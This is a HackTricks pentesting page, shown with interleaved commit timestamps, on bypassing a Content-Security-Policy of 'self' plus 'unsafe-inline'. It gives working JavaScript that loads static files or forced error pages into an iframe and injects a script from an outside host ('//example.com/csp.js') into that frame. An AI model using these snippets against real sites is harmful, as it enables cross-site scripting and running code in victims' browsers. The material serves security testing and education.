hacktricks/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md

96 lines
4.5 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
2024-07-19 09:06:54 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-19 09:06:54 +00:00
<details>
2022-04-28 16:01:33 +00:00
2024-07-19 09:06:54 +00:00
<summary>Support HackTricks</summary>
2022-04-28 16:01:33 +00:00
2024-07-19 09:06:54 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-07-19 09:06:54 +00:00
{% endhint %}
2022-04-28 16:01:33 +00:00
2022-04-19 22:38:50 +00:00
A configuration such as:
```
2024-02-07 04:05:50 +00:00
Content-Security-Policy: default-src 'self' 'unsafe-inline';
2022-04-19 22:38:50 +00:00
```
Prohibits usage of any functions that execute code transmitted as a string. For example: `eval, setTimeout, setInterval` will all be blocked because of the setting `unsafe-eval`
Any content from external sources is also blocked, including images, CSS, WebSockets, and, especially, JS
2022-04-19 22:38:50 +00:00
2024-02-07 04:05:50 +00:00
### Via Text & Images
2022-04-19 22:38:50 +00:00
2024-02-07 04:05:50 +00:00
It's observed that modern browsers convert images and texts into HTML to enhance their display (e.g., setting backgrounds, centering, etc.). Consequently, if an image or text file, such as `favicon.ico` or `robots.txt`, is opened via an `iframe`, it's rendered as HTML. Notably, these pages often lack CSP headers and may not include X-Frame-Options, enabling the execution of arbitrary JavaScript from them:
2022-04-19 22:38:50 +00:00
```javascript
frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
2024-02-07 04:05:50 +00:00
script.src='//example.com/csp.js';
2022-04-19 22:38:50 +00:00
window.frames[0].document.head.appendChild(script);
```
2024-02-07 04:05:50 +00:00
### Via Errors
2022-04-19 22:38:50 +00:00
2024-02-07 04:05:50 +00:00
Similarly, error responses, like text files or images, typically come without CSP headers and might omit X-Frame-Options. Errors can be induced to load within an iframe, allowing for the following actions:
2022-04-19 22:38:50 +00:00
```javascript
2024-02-07 04:05:50 +00:00
// Inducing an nginx error
2022-04-19 22:38:50 +00:00
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);
2024-02-07 04:05:50 +00:00
// Triggering an error with a long URL
2022-04-19 22:38:50 +00:00
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);
2024-02-07 04:05:50 +00:00
// Generating an error via extensive cookies
2022-04-19 22:38:50 +00:00
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
2024-02-07 04:05:50 +00:00
// Removal of cookies is crucial post-execution
2022-04-19 22:38:50 +00:00
for(var i=0;i<5;i++){document.cookie=i+"="}
```
2024-02-07 04:05:50 +00:00
After triggering any of the mentioned scenarios, JavaScript execution within the iframe is achievable as follows:
2022-04-19 22:38:50 +00:00
```javascript
script=document.createElement('script');
2024-02-07 04:05:50 +00:00
script.src='//example.com/csp.js';
2022-04-19 22:38:50 +00:00
window.frames[0].document.head.appendChild(script);
```
2024-02-07 04:05:50 +00:00
2022-05-01 12:41:36 +00:00
## References
2022-04-19 22:38:50 +00:00
* [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
2022-04-28 16:01:33 +00:00
2024-07-19 09:06:54 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-19 09:06:54 +00:00
<details>
2022-04-28 16:01:33 +00:00
2024-07-19 09:06:54 +00:00
<summary>Support HackTricks</summary>
2022-04-28 16:01:33 +00:00
2024-07-19 09:06:54 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-07-19 09:06:54 +00:00
{% endhint %}
2022-04-28 16:01:33 +00:00